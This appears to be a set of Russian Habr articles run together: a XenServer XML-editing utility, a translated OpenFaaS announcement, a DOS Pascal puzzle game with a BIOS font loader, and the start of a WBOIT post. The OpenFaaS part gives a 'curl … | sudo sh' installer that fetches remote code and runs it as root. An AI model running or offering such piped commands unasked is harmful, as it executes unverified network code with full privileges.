НО вторичное, но от того не менее проблемное: Для XenServer критичен порядок следования аттрибутов в XML. Поэтому стандартные парсинг-методы отпадают.
Для удобного поиска и изменения параметров в этом файле я создал утилитку [xmlsh.py](http://pastebin.com/e7TfL0Cb)
При помощи ее можно передвигаться по XML файлу как по дереву директорий и изменять необходимые параметры. В плане реализации, она представляет собой небольшой командный интерпритатор, знающие такие командочки как ls, cd, set, и.т.д. Полный список получается командой help.
Надеюсь, администраторам XenServer понравится данная утилита.
Ну а теперь вернемся именно к «ненормальному программированию».
За время создания утилиты я столкнулся с массой «идеологических» сложностей.
И прежде всего то, как реализована на питоне обработка XML. Поскольку мы ограничены версией 2.4 (на XenServer) то у нас в распоряжении 2 библиотеки: dom/minidom и ElementTree.
Одна из них имеет удобное наследование а вторая прозрачную системы парсинга, позволяющую переопределить основные методы для имплементации «OrderedDict» (Зачем? Об этом далее).
Таким образом, мне пришлось использовать обе:
minidom используется как основа «динамического перемещения» и отображения содержимого.
ElementTree используется только для редактирования и записи файла.
Все это вынужденная мера из-за зависимости XenServer от порядка аттрибутов в теге (что есть, кстати говоря, несоблюдение стандарта).
Таким образом, чтобы заставить ElementTree вести себя «неадекватно» понадобились следующие переопределения:
> if(ver[0]=="2"):
>
> #Ordered atributes tree building for Python 2.4
>
> def \_start(self, tag, attrib\_in):
>
> fixname = self.\_fixname
>
> tag = fixname(tag)
>
> attrib = odict()
>
> for key, value in attrib\_in.items():
>
> attrib[fixname(key)] = self.\_fixtext(value)
>
> return self.\_target.start(tag, attrib)
>
>
>
> def \_start\_list(self, tag, attrib\_in):
>
> fixname = self.\_fixname
>
> tag = fixname(tag)
>
> attrib = odict()
>
> if attrib\_in:
>
> for i in range(0, len(attrib\_in), 2):
>
> attrib[fixname(attrib\_in[i])] = attrib\_in[i+1]
>
> return self.\_target.start(tag, attrib)
>
> #Replace base function with mine
>
> etree.XMLTreeBuilder.\_start\_list = \_start\_list
>
> etree.XMLTreeBuilder.\_strt = \_start
Главное изменение в этих двух методах: мы заменяем стандартный dict на odict, позволяющий нам запоминать последовательность внесения элементов в список.
Вторичное изменение вы можете проглядеть по коду ниже: подмена функции
`etree.ElementTree._write=_write`
и подмена метода
`etree._escape_attrib = _escape_attrib`
Таким образом, мы обеспечили «корректную» некорректную обработку нашего XML файла.
Так как в Python 2.4 на XenServer отсутствует класс OrderedDict, то мы возьмем его с собой целиком.
В остальном и целом, — обычная алгоритмика.
Надеюсь, эта маленькая утилитка найдет у вас применение. Благо обрабатывать она может не только state.db, хоть на него и заточена.
Не рекомендуется для применения на продакшн серверах. | https://habr.com/ru/post/133097/ | null | ru | null |
# Представляя функции как сервис — OpenFaaS
***Прим перев.**: [OpenFaaS](https://www.openfaas.com/) — serverless-фреймворк, формально представленный в августе, но появившийся около года назад и быстро укрепившийся на самой вершине проектов GitHub по [тегу Kubernetes](https://github.com/topics/kubernetes). Опубликованный ниже текст — перевод технической части официального анонса проекта от его автора Alex Ellis, который хорошо известен в сообществе своим энтузиазмом в области Docker (имеет статус [Docker Captain](https://www.docker.com/community/docker-captains)).*
[Functions as a Service или OpenFaaS](https://blog.alexellis.io/functions-as-a-service/) — фреймворк для создания serverless-функций поверх контейнеров. Я начал проект как proof of concept в октябре прошлого года, когда хотел понять, можно ли запускать [Alexa skills](https://blog.alexellis.io/serverless-alexa-skill-mobymingle/) или функции AWS Lambda в Docker Swarm. [Начальные успехи](https://github.com/alexellis/funker-dispatch) привели меня к публикации в декабре того же года [первой версии кода](https://github.com/alexellis/faas/commits/master?after=235da9261746748e9ae32320dbdda19d053d7407+349) на Golang в GitHub.
Эта публикация предлагает быстрое введение в бессерверные (serverless) вычисления и рассказывает о трёх главных возможностях, появившихся в FaaS за последние 500 коммитов.
С момента первого коммита FaaS набирал популярность: получил более 4000 звёздочек на GitHub *(уже более 7000 на сегодняшний день — **прим. перев.**)* и [небольшое сообщество](https://github.com/openfaas/faas/blob/master/community.md) разработчиков и хакеров, которые рассказывали о нём на различных встречах, писали свои функции и вносили изменения в код. Значимым событием для меня стало получение места среди [главных сессий](https://blog.docker.com/2017/04/dockercon-2017-mobys-cool-hack-sessions/) Moby Cool Hacks на Dockercon в Остине в апреле. Стоявшая перед этими выступлениями задача звучала как *расширение границ того, для чего был создан Docker*.
Что такое serverless?
---------------------
### Архитектура эволюционирует
Serverless («бессерверный») — неудачное название. Мы говорим о новом архитектурном паттерне для управляемых событиями *(event-driven)* систем. Serverless-функции часто используются как связующее звено между другими сервисами или в архитектуре, управляемой событиями. Раньше мы называли подобное сервисной шиной *(service bus)*.
*Serverless — это эволюция*
### Serverless-функции
Бессерверная функция — это небольшая, отдельная и ориентированная на повторное использование часть кода, которая:
* недолго живёт,
* не является демоном (запускаемым на долгое время),
* не запускает TCP-сервисы,
* не является stateful,
* использует существующие у вас сервисы или сторонние ресурсы,
* выполняется за несколько секунд (по умолчанию в AWS Lambda).
*Также важно различать serverless-продукты от IaaS-провайдеров и проекты программного обеспечения с открытым кодом (Open Source).*
С одной стороны, у нас есть такие serverless-реализации от IaaS-провайдеров, как Lambda, Google Cloud Functions и функции Azure, а с другой — фреймворки вроде OpenFaaS, позволяющие выполнять тяжёлую работу платформам оркестровки вроде Docker Swarm или Kubernetes.
*Cloud native: используй свой любимый кластер.*
Serverless-продукт от IaaS-вендора является полностью управляемым, поэтому предлагает высокий уровень удобства использования и оплату по секундам/минутам. Обратная сторона медали — вы очень привязаны к их циклу релизов и поддержки. FaaS с открытым кодом существуют для обеспечения разнообразия и возможности выбора.
### В чём особенность OpenFaaS?
OpenFaaS построен на основе технологий, являющихся индустриальным стандартом в мире cloud native:
*Стек OpenFaaS*
Особенность проекта OpenFaaS заключается в том, что каждый процесс может стать serverless-функцией с помощью компонента watchdog и контейнера Docker. Это означает три вещи:
* вы можете запускать код на любом языке программирования;
* на любое время, какое требуется;
* где угодно.
*Переход на serverless не должен подразумевать необходимость переписывать код на другой язык программирования. Просто воспользуйтесь тем, что нужно вашему бизнесу и команде.*
### Например:
Команда `cat` или `sha512sum` может быть функцией, не требующей каких-либо изменений, поскольку функции взаимодействуют через stdin/stdout. Windows-функции также поддерживаются в Docker CE.
*В этом и есть основное отличие FaaS от других serverless-фреймворков с открытым кодом, которые зависят от специальных исполняемых сред для каждого поддерживаемого языка.*
Посмотрим на 3 самые значимые фичи, которые появились с момента DockerCon *(т.е. с апреля по август 2017 года — **прим. перев.**)*: [CLI](https://github.com/alexellis/faas-cli) и шаблоны для функций, поддержка Kubernetes и асинхронная обработка.
1. Новый CLI
------------
### Простое развёртывание
Консольный интерфейс (CLI) был добавлен в проект FaaS, чтобы упростить функции деплоя и добавить им поддержку скриптования. До сих пор для этих целей можно было использовать пользовательский интерфейс (UI) к API Gateway или curl. Появившийся CLI позволяет определять функции в YAML-файле и деплоить их в тот же API Gateway.
Finnian Anderson написал замечательное введение в FaaS CLI на [Practical Dev / dev.to](https://dev.to/developius/functions-as-a-service---deploying-functions-to-docker-swarm-via-a-cli).
### Скрипт утилиты и brew
Для установки CLI есть специальный скрипт, а John McCabe помог с рецептом для brew:
```
$ brew install faas-cli
```
или:
```
$ curl -sL https://cli.get-faas.com/ | sudo sh
```
### Шаблоны
С помощью шаблонов в CLI достаточно написать обработчика на любимом языке программирования, после чего CLI воспользуется шаблоном для сборки этого обработчика в Docker-контейнер со всей магией FaaS.
*Подготовлены два шаблона: для Python и Node.js, — но легко создать и свой собственный.*
CLI поддерживает три действия:
* `-action build` — локально создаёт Docker-образы из шаблонов;
* `-action push` — загружает (push'ит) образы в выбранный реестр или Hub;
* `-action deploy` — разворачивает FaaS-функции.
*Если у вас кластер из 1 узла, нет необходимости push'ить образы перед их деплоем.*
Вот пример конфигурационного файла CLI в формате YAML (`sample.yml`):
```
provider:
name: faas
gateway: http://localhost:8080
functions:
url_ping:
lang: python
handler: ./sample/url_ping
image: alexellis2/faas-urlping
```
А вот минимальный (пустой) обработчик для функции на Python:
```
def handle(req):
print(req)
```
Пример, проверяющий код состояния у URL по HTTP (`./sample/url_ping/handler.py`):
```
import requests
def print_url(url):
try:
r = requests.get(url,timeout = 1)
print(url +" => " + str(r.status_code))
except:
print("Timed out trying to reach URL.")
def handle(req):
print_url(req)
```
Если требуются дополнительные модули PIP, добавьте к своему обработчику (`handler.py`) файл `requirements.txt`.
```
$ faas-cli -action build -f ./sample.yml
```
После такой команды появится Docker-образ под названием `alexellis2/faas-urlping`, который можно загрузить в Docker Hub с помощью `-action push` и задеплоить с `-action deploy`.
*CLI для FaaS доступен в [этом репозитории](https://github.com/openfaas/faas-cli).*
2. Поддержка Kubernetes
-----------------------
Будучи [капитаном Docker](https://blog.docker.com/2016/09/5-minutes-docker-captains-2/), я в основном занимаюсь изучением [Docker Swarm](https://docs.docker.com/engine/swarm/) и статьями о нём, однако меня всегда интересовал и Kubernetes. Начав изучать, как настроить [Kubernetes](https://kubernetes.io/) в Linux и Mac, я уже написал [три руководства](https://blog.alexellis.io/tag/k8s/) об этом, и их хорошо встретили в сообществе.
### Проектируя поддержку Kubernetes
Получив хорошее понимание того, как перенести концепции Docker Swarm на Kubernetes, я подготовил прототип и портировал весь код за несколько дней. Выбор пал на создание нового микросервисного демона, взаимодействующего с Kubernetes, — вместо добавления дополнительных зависимостей в основную кодовую базу FaaS.
FaaS проксирует вызовы к новому демону через стандартный RESTful-интерфейс для таких операций, как Deploy/List/Delete/Invoke и Scale.
Такой подход означает, что пользовательский интерфейс, CLI и автомасштабирование заработали из коробки без необходимости вносить изменения. Получившийся микросервис поддерживается в новом GitHub-репозитории под названием [FaaS-netes](https://github.com/openfaas/faas-netes) и доступен в Docker Hub. Его настройка в кластере занимает около 60 секунд.
### Демонстрация поддержки Kubernetes
В [этом видео](https://www.youtube.com/watch?v=0DbrLsUvaso) FaaS разворачивается на пустом кластере, после чего показывается, как работать с пользовательским интерфейсом, Prometheus и автомасштабированием.
### Но подождите… ведь есть другие фреймворки, которые работают на Kubernetes?
Пожалуй, есть две категории serverless-фреймворков для Kubernetes: те, которые полагаются на очень специфическую исполняемую среду для каждого поддерживаемого языка программирования, и те, что, как и FaaS, позволяют любому контейнеру стать функцией.
У FaaS есть привязки для родного API у Docker Swarm и Kubernetes, то есть он использует объекты, с которыми вы уже работали для управления *Deployments* и *Services*. Это означает, что здесь меньше магии и нуждающегося в расшифроке кода, когда дело доходит до сути написания новых приложений.
*При выборе фреймворка стоит учитывать, хотите ли вы привносить в проекты новые возможности или исправления. Например, OpenWhisk написан на Scala, а большинство других — на Golang.*
* [Funktion](https://github.com/funktionio/funktion);
* [Iron Functions](https://github.com/iron-io/functions);
* [OpenWhisk](https://github.com/apache/incubator-openwhisk);
* [Kubeless](https://github.com/kubeless/kubeless);
* [Fission](https://github.com/fission/fission);
* [FaaS-netes](https://github.com/openfaas/faas-netes).
3. Асинхронная обработка
------------------------
Одна из особенностей бессерверной функции — она маленькая и быстрая, исполняется синхронно и обычно за несколько секунд. Но есть ряд причин, почему можно захотеть асинхронной обработки функции:
* это событие, и вызывающему оператору не нужен результат;
* исполнение или инициализация выполняется долго — например, TensorFlow / Machine Learning;
* принимается большое количество запросов в рамках пакетного задания;
* вы хотите ограничить скорость.
Прототип для асинхронной обработки начинался с распределённой очереди. Реализация использует NATS Streaming, но может быть расширена для работы с Kafka или любой другой абстракцией, выглядящей как очередь.
*Иллюстрация из [Twitter-анонса](https://twitter.com/alexellisuk/status/885248540607483904) асинхронного режима в FaaS*
Асинхронный вызов с NATS Streaming в качестве бэкенда включён в кодовую базу проекта. Инструкция по его использованию доступна [здесь](https://github.com/openfaas/faas/blob/master/guide/asynchronous.md).
Приветствуются любые изменения
------------------------------
… и не важно, хотите вы помочь с issues, фичами в коде, релизами проекта, скриптованием, тестами, измерением производительности, документацией, обновлением примеров или даже написанием в блоге о проекте.
*Для каждого всегда что-нибудь найдётся, и всё это помогает проекту двигаться вперёд.*
Любую обратную связь, идеи, предложения отправляйте [@alexellisuk](https://twitter.com/alexellisuk) или через один из [репозиториев GitHub](https://github.com/openfaas).
*Не уверены, с чего начать?*
Вдохновитесь [обсуждениями и примерами функций](https://github.com/openfaas/faas/blob/master/community.md) от сообщества, которые включают в себя машинное обучение с TensorFlow, ASCII art и простые интеграции.
P.S. от переводчика
-------------------
Месяц назад автором этого материала была также опубликована [инструкция](https://medium.com/devopslinks/getting-started-with-openfaas-on-minikube-634502c7acdf) по началу работы с OpenFaaS на Kubernetes 1.8 с использованием Minikube.
Если вас интересует тема serverless под Kubernetes, стоит также обратить внимание (как минимум) на проекты [Kubeless](https://github.com/kubeless/kubeless) и [Fission](http://fission.io/), а более полный список приводит сам автор статьи выше. Вероятно, мы про них ещё напишем в нашем блоге, а пока — читайте среди прошлых материалов:
* «[Kubernetes 1.9: обзор основных новшеств](https://habrahabr.ru/company/flant/blog/344220/)»;
* «[Зачем нужен Kubernetes и почему он больше, чем PaaS?](https://habrahabr.ru/company/flant/blog/327338/)»;
* «[Инфраструктура с Kubernetes как доступная услуга](https://habrahabr.ru/company/flant/blog/341760/)». | https://habr.com/ru/post/344656/ | null | ru | null |
# Первая игра, которую я просто написал для себя
*Пост ностальгии по игрушкам, которые мы сами для себя писали в детстве.*
Лазая по просторам App Store ища очередную игрушку для своего айпада, наткнулся на старинную игрушку “Братья Пилоты”. Сразу купил, поставил и прошёл на одном дыхании (уже наверное в 3 раз). Но более всего задержался на эпизоде с холодильником. Уж больно меня прёт эта головоломка.
И внезапно вспомнил, что ещё в школьные годы, после прохождения холодильника, головоломка меня так накрыла, что я написал на паскале свою собственную игрушку — эмулятор головоломки. Но не просто повторяла исходную игру, а позволяла выбирать размер поля, имела хелп, возможность сохранения и продолжения игры с прошлого места после выхода.
Подняв старые бекапы я нашёл исходную игру. Запустил её в dosbox и пропал для внешнего мира на пару часов.
**Исходная головоломка, обратите внимание на открытый левый столбец и положение вентилей**
#### В чём же суть?
Суть головоломки достаточно проста. Имеется поле вентилей 4 на 4 штуки, необходимо все вентили на холодильнике поставить в горизонтальное положение. “Но есть нюанс”(с): когда вы поворачиваете вентиль, то вместе с ним поворачиваются все вентили в столбце и строке, в которой находится данный вентиль. И тут начинается самое интересное!
Когда я впервые сел за эту головоломку в исходном квесте, играя ещё в школе, то проходил её, наверное минут 40, не меньше. Но она до того мне понравилась, что я играл в неё играл и играл, и играл…
Но хотелось большего: возможность сохранять игровой процесс, генерировать разные уровни и менять размер поля, чтобы понять алгоритм игры.
Тогда я понял, что если мне головоломка нравится, и хочется попробовать разные масштабы игрового поля, то не стоит ждать у моря погоды. Есть только один выход — реализовать эту игру самостоятельно.
#### Ну’c, приступим!
Я не смогу точно определить дату создания игры, но это точно конец школы, начало института. В те годы я прекрасно владел паскалем. В институте решал на нём задачки за деньги, помогал писать курсачи и вообще — это был прекрасный логичный язык. Поэтому игрушку было решено писать на нём.
Не смотря на то, что я знал как реализовывать графику в ДОСе, я решил не делать графическое приложение. Это связанно с тем ~~это бы страшно глючило и тормозило~~ что, во первых, мне хотелось как можно быстрее реализовать данное приложение, а реализация графики отняла бы много времени; а во вторых, текстовый вид мне нравится больше. Хотя оглядываясь назад, мне кажется лучше бы я сделал графику и ещё добавил поддержку мыши.
Задача была простая: сделать простую изящную игру, которую не стыдно было бы показать. Из возможностей: помощь, возможность сохранения и после запуска продолжение игры с момента остановки, возможность изменять размер игрового поля. Плюс немного красок и изящества.
#### Реализация
Я не буду целиком разбирать исходники и логику работы всей программы, ибо они очевидны, а что не очевидно ясно из кода. Но более подробно остановлюсь на паре моментов.
Основу игры составляет текстовый массив NxN элементов, где N может быть равно 2, 4, 8 и 16. Массив заполнен всего двумя символами X и Y. Позиция курсора, это позиция текущего элемента массива i и j. При инвертировании элемента массива происходит замена X на Y и Y на X с столбце и строке массива. Ну и плюс есть горячие клавиши (F1-F4, F10), которые позволяют вызвать Помощь, Сохранить/загрузить, создать и выйти. Здесь всё ясно, и как реализовать просто и останавливаться мы на этом подробно не будем.
Наибольший интерес, с познавательной точки зрения, представляет процедура *WRIFT*.\*
**\* - примечание, почему wrift**
В те времена, в качестве экономии смс-ки писались транслитом. Как мы помним буква “*Ш*” заменяется сочетанием “*sh*”, но для экономии места я её заменял неиспользуемой буквой со схожим написанием “*W*”. Отсюда и пошло название *Wrift* (Шрифт). Аналогично буква “*X*” (*икс*) заменяла букву “*Х*” (русское “*ха*”).
Поскольку я решил использовать текстовый режим для игры, то мне понадобилась буква, которая бы заменила бы вентиль. При чём такая буква, которая бы показывала вентиль в вертикальном и горизонтальном положении. Единственные кандидаты, которые подходят для этих целей — это латинские буквы “N” и “Z”. Буква “Z” напоминает положенную на бок букву N, только растянутую.
Я попробовал этот вариант, и остался им не доволен. И понял, что требуется сделать что-то своё, какое-то альтернативное решение. Уже было я задумался написать графическую версию, как наткнулся на паскалевскую программу [“Матрица” от автора Абрарова А.М.](http://narod.ru/disk/65499898001.a6c953f20e2ee023bd00e3518e22fea8/Matrix.pas.html) . Программа начинается так же, как первая “Матрица” — вывода на экран строки, поиск кода. А затем начинаются сыпаться символы-иероглифы. При чём это реализовано только в текстовом режиме.
**Небольшой ликбез о программе Matrix.pas**
Программа была очень красивой и изящной для своего времени. И мне тогда весьма доставляла. Самое интересное, что там реализован полный шрифт, для 208 символов! Но я предполагаю, что автор взял реализацию программы типа нашего “русификатора”, только для иероглифов и переделал её под себя.
Правда, сейчас чтобы заставить программу нормально работать, даже в dosbox, надо уменьшить все задержки раз в 10 (delay), иначе конца работы дождутся ваши внуки. Поскольку переделывать программу мне лень, то она представляет чисто академический интерес. Или быть может кто её переделает и покажет миру, софтинка-то красивая (тем более я даю ссылку на сорцы). А если вдруг её автор читает сей пост, то передаю ему мои слова благодарности.
Самое главное, в той программе, для “кракозябр” реализован свой шрифт! И производится его загрузка. Вот эту процедуру загрузки я и позаимствовал, разумеется немного изменив её.
Пара слов о работе со шрифтами.
> В MS-DOS средствами BIOS поддерживается работа с растровыми шрифтами. Функции BIOS позволяют получать и устанавливать пользовательские шрифты, а также получать шрифты из знакогенератора видеоадаптера. Все устанавливаемые шрифты имеют одинаковую ширину 8 точек, а высота может иметь три фиксированных значения — 8, 14 или 16 точек. Конкретное значение высоты шрифта определяется видеорежимом, для которого загружается шрифт. Высота шрифта 8 точек соответствует видеорежиму с 50/43 строками, высота 14 точек — видеорежиму с 25 строками для EGA, а высота 16 точек — видеорежиму VGA с 25 строками.
Взято [отсюда](http://shackmaster.narod.ru/fonts.htm)
Мы будем использовать видеорежим 16 цветов 40х25 символов. В таком видеорежиме, каждый символ представляет собой массив точек 8х16. Говоря просто, каждый символ представляет собой 16 байт, где в байте бит выставленный в единицу означает то, что он окрашивается в чёрный цвет. Если у вас сейчас каша в голове, не пугайтесь — дальше станет понятнее.
Для обозначения закрытого (вертикального) вентиля была выбрана буква “X” (латинская заглавная буква “Икс”) и для открытого горизонтального, буква “Y” (латинская заглавная буква “Игрек”). Выбор был сделан на эти буквы по нескольким причинам. Во первых они знакомы из школьной программы и на слуху. Во вторых, и это важнее, они в таблице ASCII символов стоят подряд (88d и 89d позиция соответственно), что упрощает их замену. А латинские выбраны для того, чтобы можно было сделать меню на русском, без перезалива шрифта.
Итак, с символами мы определились, теперь перейдём к их одежде, ака шрифту. Берём лист бумаги в клетку, и делаем на нём поле 8х16 и приступаем к рисованию символа горизонтального, а затем вертикального вентиля. Поскольку вентиль должен быть одинаковым, как в вертикальном, так и горизонтальном состоянии, то мы будем использовать только первые 8 строк, чтобы получить квадрат. И далее рисуем в этом поле два вентиля, вертикально и горизонтально. Должно получится как-то так
**Шрифт двух вентилей**
Далее, чёрный квадратик обозначаем единичкой, белый нулём. И формируем 8 байт. После чего их переводим в десятичный формат и формируем массив. Сначала 8 байт символа, потом 8 байт нулей (подвал же мы оставили пустым), повторяем эту процедуру для второго символа.
**Таблица двоичных кодов, и переведённые в десятичный формат**
В результате получаем такую шапку процедуры:
```
procedure WRIFT; {Zagruzka shrifta ("pesochnye chasy")}
Const
Font:array [1..32] of Byte=(129,195,231,153,153,231,195,129,0,0,0,0,0,0,0,0,
255,102,36,24,24,36,102,255,0,0,0,0,0,0,0,0);
Var
SegScr:Word;
OfsScr:Word;
screen1:Array [0..512] of Byte absolute Font;
```
Font — это массив двух символов вентилей (каждый символ на своей строчке). Самая интересная переменная — это массив screen1 — массив, который располагается по абсолютному адресу переменной Font (директива absolute). Далее наступает самое интересное.
```
begin
ofsscr:=ofs(screen1);
segscr:=seg(screen1);
Asm
push bp
mov ax,segscr
mov es,ax
mov bp,ofsscr
mov bx,1000h
mov dx,88 {s kakogo simvola na4at' zapis' 88d-X,89d-Y}
mov cx,2 {koli4estvo simvolov}
mov ax,1100h
int 10h
pop bp
mov ah,1 {ustanovit videorezhim txt, tsvetnoj (16 cvetov) 40x25 }
mov cx,1000h
int 10h
End;
end;{WRIFT}
```
Как понятно из строк выше мы загружаем в регистр ES — сегмент, а в регистр BP — смещение адреса расположение нашего шрифта. Командой mov bx,1000h мы говорим, что в шрифте у нас 16 строк (число 10h=16d загружаем в BH, а BL=0).Далее в регистр DX мы загружаем номер символа, с которого мы начинаем менять шрифт. А в CX — количество заменяемых символов. Загружаем в регистр AX — номер функции BIOS для смены шрифта, и вызываем прерывание BIOS. Далее восстанавливаем регистр BP и аналогичным образом выставляем режим видеоадаптера. Подробнее описано тут: [shackmaster.narod.ru/fonts.htm](http://shackmaster.narod.ru/fonts.htm). Для лучшего понимания о структуре шрифтов, лучше будет почитать этот сайт.
Таким вот нехитрым образом, можно сменить весь шрифт в ДОСе на свой собственный. Для того, чтобы выгрузить шрифт, используется процедура Restore:
```
Procedure Restore; {Sbros shrifta}
Begin
asm
mov ax,3
int 10h
End;
End;{Restore}
```
Которая выполняется при выводе меню и выходе из программы.
Кстати, для справки, аналогичным образом в ДОСе работали, так называемые “русификаторы”. Они просто заменяли текущий шрифт, на шрифт с русскими буквами.
**Один из приколов**
Один мой товарищ, а конкретно [termi](https://habr.com/ru/users/termi/), когда изучал программирование на Борланд С++ сделал шрифт в виде МПХ, так же используя пример из “Матрицы”. Т.е. просто заменил все символы одним символом МПХ. Нортон Коммандер выглядел страшно! Жаль фотографий с того времени не осталось.
Такую бы программулинку запустить на информатике, то-то училка бы порадовалась.
#### Модификации сегодня
На самом деле, игру я даю не в том виде, в котором она была написана много лет назад. В ней обнаружились весьма неприятные косяки:
1. Программа просто вылетала, если не был обнаружен файл GAME.SAV;
2. Генератор случайных чисел не был инициализирован, поэтому генерировал постоянно один и тот же уровень.
Плюс, из-за проблем с кодировками, я создал вторую версию игры, полностью на английском языке. И если вы будете читать исходный код не в ДОС-совместимом редакторе, рекомендую использовать её исходники — там не будет проблем с кодировкой.
Так отрадно, что ДОСбокс есть везде, лично я редактировал большую часть программы на iPAD в метро. Представляете, как забавно выглядит перец с айпадом, и открытым на нём Борланд Паскалем?
**Старый добрый Borland Pascal на iPAD**
Так что косяки оперативно исправлены.
#### Несколько скриншотов программы, с кратким описанием
Для тех у кого нет возможности или желания поиграть в игру, приведу несколько ключевых скриншотов игры.
После запуска, у нас открывается игровое поле с последней сохранённой игрой
**Старт**
Курсор подсвечен, и мигает.
Если нажать F1, то можно получить вот такой нехитрый хелп
**Хелп**
Для генерации уровня жмём F4 и попадаем вот в такое меню
**Меню генерации уровней**
Ну и после победы игра вас поздравит
**Поздравление с победой**
И будет ждать нажатия любой клавиши. В этом случае прогресс игры не сохраняется.
#### Как установить и играть
В силу особенностей и применения загрузки шрифта, игруха работает только в чистом ламповом ДОСе. По этому, для её работы необходимо использовать dosbox или аналогичную программу.
Установка тривиальна. Качаете [архив с программой](http://narod.ru/disk/65499856001.6f143511c7c3c2ad7866f07008d8db29/INVERTOR.zip.html). Устанавлиаете **dosbox**. И, если есть желание, русифицируете его, методика для linux вот: [old-game.org/?p=1717](http://old-game.org/?p=1717).
В принципе все эти файлы можно использовать и для винды: Для этого файл russian.txt кладётся в папке с программой и конфигом, и редактируется ярлык для досбокса. В пути ярлыка должно быть что-то типа: “*«C:\Program Files\DOSBox-0.74\DOSBox.exe» -userconf”* Убираем *“-userconf”* и будет работать ваш конфиг.
В Ubuntu я просто щёлкаю правой кнопкой мыши по программе и выбираю запустить её в dosbox, как в винде я не знаю, ибо её нет ни на одной из машин. Ну в крайнем случае монтируется путь до игры, командой mount путь.
На выбор вам русская и английская версия. Можно не морочиться с русификацией и геморроем с конфигами, а просто пулять в английскую. Разницы между ними практически нет. Хотя, лично я, как автор, предпочитаю русскую версию.
Управление производится стрелками клавиатуры, выбор и инвертация клавишей insert или двойным нажатием на пробел (да, тут косяк). Если вдруг заест позиция, нажмите один раз на пробел.
Помните, что каждый раз загружается последняя сохранённая игра. Для генерации новой, нажмите F4. Рекомендую начать с поля 4х4. Я сейчас играю 8х8, и пока боюсь переходить на 16х16. Ибо 4х4 я прохожу менее, чем за минуту, 8х8 минут за 7-10, а 16х16 боюсь даже представить.
Помните, что загрузочное поле с надписью HABR и моим ником (картинка в заходнике статьи), пропадёт после сохранения или легального выхода. Она хранится в файле *GAME.SAV*. Если хочется восстановить, то замените этот файл, на файл из архива.
**Поле специально для хабра**
Мне не хотелось просто так пускать игру, пусть и доделанную и допиленную для хабра. Хотелось какую-то фишечку. И я решил сделать надпись в самом большом поле 16х16.
Формат файла сохранения прост: начала идёт размер поля, например цифра 16, перевод каретки, потом 256 (для поля 16х16) символов X и Y, составляющие рисунок поля, а в конце количество Y в поле (этакая контрольная сумма).
Для этого в OF Calc я сформировал такое поле, цветом сделал надпись в клетках. А затем проставил соотсветственно буквы X и Y.
**Заготовка для поля.**
После чего сохранил его в CSV. Удалил все разделители. Посчитал количество Y (очень просто, делаешь во OF Writer поиск, заменить на и заменяешь Y на что-нить, он говорит количество замен — вот искомое число). Поставил сначала число 16, перевод каретки и в конце количество игреков. Результат вы можете оценить сами :).
#### Недостатки текущей версии программы.
Я написал текущей версии… Маловероятно, что я буду переписывать программу и совершенствовать её, ибо она уже страшно устарела. Но с другой стороны, сейчас dosbox можно поставить чуть ли не на фонарик, по этому она может обрести новую жизнь, и быть может имеет смысл переписать и исправить основные недостатки.
##### Итак:
1. Первый, и самый неприятный недостаток — это убогое управление. Во первых инвертация идёт клавишей Insert, или двойным пробелом. При чём, если пробел нажать нечётное количество раз, то программа “заедает”, пока не сделаешь чётное количество нажатий. Это раздражает.
2. Второй существенный недостаток — это отрисовка всей игры с помощью функций write/writeln. При каждом событии экран перерисовывается заново. При игре на поле 16х16 уже заметны тормоза и вспышки отрисовки. Плюс такой подход усложнил логику программы, и теперь её поправить громадная проблема.
Надо было реализовывать отрисовку с помощью функции goto(x;y); Тогда можно было бы менять отдельный символ, не перерисовывая весь экран.
3. Игра просто просит поддержку мыши. Опять же поддержку мыши нужно реализовывать на пару с п. 2, чтобы можно было точно “ловить” координаты.
4. Мелкий баг, который следует из п.2 — когда спускаешься в правый нижний угол, за рамку убегает один символ. Пытался исправить, и понял что проще вообще переписать это место отрисовки, чем разобраться как оно работает.
#### Что хотелось бы сделать
Конечно, хотелось бы такое приложение под ведройд или iPad. Чтобы можно было в него играть пальцем. Или уж, если не приложение, то браузерную игрушку (но такую, чтобы работала под Android и iOS). Чтобы там было красивое меню и удобная навигация. Была таблица рекордов. Был счётчик времени, которым можно было бравировать с друзьями. Так же была статистика, чтобы можно было оценить среднее время и скорость навыка.
В общем громадный полёт для творчества, при полном отсутствии свободного времени на изучение программирования под эти устройства. С другой стороны, dosbox есть везде, и наверное более универсальной переносимости добиться будет сложно, и может имеет смысл допилить таки эту программу? Как вы думаете?
#### Итоги...
Цель статьи, не показать какой я молодец, а просто вспомнить как было. Наверняка практически каждый из нас писал что-то такое в детстве. Это не ах какая сложная программа, и её может написать каждый школьник, при достаточной усидчивости. Здесь скорее пост воспоминание.
Раньше я в программах много использовал ассемблер. Мне нравилось “говорить” с железом напрямую, без посредников. Я лучше чувствовал машину. И даже потом, для AVR я писал исключительно на ассемблере. А сейчас я не понимаю, как функционирует ЭВМ. Конечно, я представляю базовые блоки и т.п., но детальную картину я не знаю, и самое забавное, что её не знает никто!
А сейчас… Языки высокого и сверх высокого уровня абстракции вообще заставляют нас не думать, как и где исполняется код. Это без сомнения хорошо, ибо позволяют сосредоточиться непосредственно на задаче, но с другой стороны уходит тот тёплый ламповый шарм работы с железом…
##### Список литературы и ссылок:
1. Описание, как загрузить шрифт под ДОС [shackmaster.narod.ru/fonts.htm](http://shackmaster.narod.ru/fonts.htm)
2. Отличный справочник по ассемблеру, который мне дал понимание, как работать с функциями BIOS, да и вообще с комповым железом: “Программирование на аппаратном уровне: специальный справочник.” Кулаков
3. Эмулятор ДОСа dosbox [www.dosbox.com/download.php?main=1](http://www.dosbox.com/download.php?main=1)
4. [Программа и исходники](https://disk.yandex.ru/d/Xa4gJvo8jYJmvg) [narod.ru/disk/65499856001.6f143511c7c3c2ad7866f07008d8db29/INVERTOR.zip.html](http://narod.ru/disk/65499856001.6f143511c7c3c2ad7866f07008d8db29/INVERTOR.zip.html)
P.S. Фух, я наверное пару дней вспоминал и гуглил, как же я делал этот шрифт. Код есть, он работает, а как я не помню и не понимаю.
P.P.S. Если народу будет интересно, то я добавлю видео, как я прохожу поле 4х4 менее, чем за минуту (на примере холодильника “Братьев Пилотов”).
P.P.P.S. Буду признателен за все замечания по орфографии и пунктуации, отправленные личным сообщением! | https://habr.com/ru/post/166057/ | null | ru | null |
# WBOIT в OpenGL: прозрачность без сортировки
Речь пойдёт о “Weighted blended order-independent transparency” (далее WBOIT) — приёме, описанном в JCGT в 2013 г. ([ссылка](http://jcgt.org/published/0002/02/09/)).
